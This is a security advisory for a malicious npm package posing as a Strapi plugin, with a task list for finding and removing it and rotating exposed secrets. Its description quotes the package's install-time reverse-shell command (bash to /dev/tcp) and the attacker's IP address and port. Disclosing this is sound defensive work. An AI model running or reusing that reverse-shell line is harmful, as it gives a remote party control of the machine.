MAL-2026-16189 Malicious code in strapi-plugin-sucresh-meeb (npm)
Malicious package
Published
MAL-2026-16189 is a malicious package: strapi-plugin-sucresh-meeb (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-16189/ (Markdown: https://insights.sbomify.com/MAL-2026-16189/index.md)
- Package
- strapi-plugin-sucresh-meeb
- Registry
- npm
What is MAL-2026-16189?
MAL-2026-16189 is a malicious package in strapi-plugin-sucresh-meeb, published on 15 Sep 2026.
Official description
[email protected] declares a postinstall lifecycle hook (
node postinstall.js) that runs automatically on npm install. The postinstall script uses child_process.exec to spawn a bash subprocess with an interactive reverse shell (bash -i > /dev/tcp/<host>/<port> 0>&1) connecting to the hardcoded remote endpoint 14.225.210.85:443. This gives the operator of that endpoint interactive shell control on the installing host at install time, with no authentication or user interaction. The package name mimics a Strapi plugin but the shipped code's install-time behavior is unauthenticated remote code execution against the installer.What should I do about MAL-2026-16189?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.